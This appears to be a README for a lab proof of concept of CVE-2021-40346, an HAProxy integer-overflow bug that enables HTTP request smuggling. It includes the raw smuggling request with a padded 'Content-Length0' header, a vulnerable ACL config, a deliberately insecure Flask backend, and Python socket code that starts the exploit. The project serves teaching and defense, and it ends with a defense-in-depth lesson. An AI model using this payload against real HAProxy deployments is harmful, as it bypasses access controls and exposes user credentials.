
HTTP Request Smuggling
This project demonstrates CVE-2021-40346, a critical integer overflow vulnerability in HAProxy that enables HTTP Request Smuggling attacks to bypass security controls.
CVSSv3 Score: 7.5 (High)
CVE-2021-40346 is an integer overflow vulnerability in HAProxy's HTTP header parsing logic. When a header name exceeds 255 bytes, the length value overflows from an 8-bit field, causing HAProxy to misinterpret the header during request forwarding.
Attacker sends: Header name = "Content-Length0" + 255×'a' = 270 bytes
Phase 1 (Initial Parsing):
name_length = 270 % 256 = 14 (8-bit overflow)value_length = 1Content-Length: 60 header and treats it as body lengthPhase 2 (Request Forwarding):
"Content-Length""0"content-length: 0 to the forwarded requestContent-Length: 60 header (as per normal logic)Backend Processing:
content-length: 0 from HAProxyConsider HAProxy configured with ACL rules that restrict access to admin routes:
http-request deny if { path_beg /users/admin }
In our PoC, we use a regular user session (alice) to access the protected /users/admin endpoint that should only be accessible to administrators.
Malicious Request (Request 1 - Poison):
POST / HTTP/1.1
Host: 127.0.0.1:8080
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
Content-Length: 78
GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:
Request HAProxy Forwards:
POST / HTTP/1.1
host: 127.0.0.1:8080
content-length: 0
x-forwarded-for: 192.168.188.1
GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:
Completion Request (Request 2):
GET / HTTP/1.1
Host: 127.0.0.1:8080
Complete Smuggled Request Backend Processes:
GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:GET / HTTP/1.1
Host: 127.0.0.1:8080
Result:
content-length: 0 (ACL sees safe route)The vulnerable HAProxy instance is configured with ACL rules to protect the admin endpoint:
...
# ACL to detect admin endpoint access
acl is_admin_endpoint path_beg /users/admin
# ACL to check for admin session cookie
acl has_admin_session cook(session) -m beg admin_
# Deny access to admin endpoint if user doesn't have admin session
http-request deny if is_admin_endpoint !has_admin_session
...
Key Points:
/users/admin is blocked unless session cookie starts with admin_user_) are deniedThe backend server has three users and an admin endpoint:
USERS = [
{'id': 1, 'username': 'alice', 'password': 'alice123', 'role': 'user'},
{'id': 2, 'username': 'bob', 'password': 'bob456', 'role': 'user'},
{'id': 3, 'username': 'admin', 'password': 'admin_secret', 'role': 'admin'},
]
@app.route('/login', methods=['POST'])
def login():
# ... authentication logic ...
# Generate session token with role prefix
prefix = 'admin_' if user['role'] == 'admin' else 'user_'
token = prefix + secrets.token_hex(16)
resp.set_cookie('session', token, httponly=True)
return resp
@app.route('/users/admin', methods=['GET', 'POST'])
def users_admin():
# Returns sensitive data including all user passwords
rows = ''.join([
f"{u['id']} | {u['username']} | {u['email']} | "
f"{u['password']} | {u['role']}"
for u in USERS
])
return f"ADMIN PANELAll users with passwords:{rows}"
Security Model:
user_a1b2c3d4...admin_a1b2c3d4.../users/adminWhy This Works:
POST / request (allowed)POST / (no admin restriction)content-length: 0 (due to overflow bug)GET /users/admin requestGET /users/admin directly, revealing passwordsDefense-in-Depth Lesson: This demonstrates why backends should never blindly trust the proxy. Even with HAProxy's ACLs in place, the backend should:
@require_admin decorator)Relying solely on proxy-level access control creates a single point of failure.
The PoC demonstrates bypassing HAProxy ACLs to access /users/admin using a regular user's session through four key steps:
# Login as alice (non-admin user)
body = "username=alice&password=alice123"
login = f"POST /login HTTP/1.1\r\n" \
f"Host: {TARGET}:{PORT}\r\n" \
f"Content-Type: application/x-www-form-urlencoded\r\n" \
f"Content-Length: {len(body)}\r\n\r\n{body}".encode()
sock = socket.socket()
sock.connect((TARGET, PORT))
sock.sendall(login)
time.sleep(0.5)
# Receive response and extract session token
resp = b""
while True:
chunk = sock.recv(4096)
if not chunk:
break
resp += chunk
sock.close()
session = resp.decode().split('session=')[1].split(';')[0]
print(f"✓ Session: {session[:35]}...")
Purpose:
/users/admin endpoint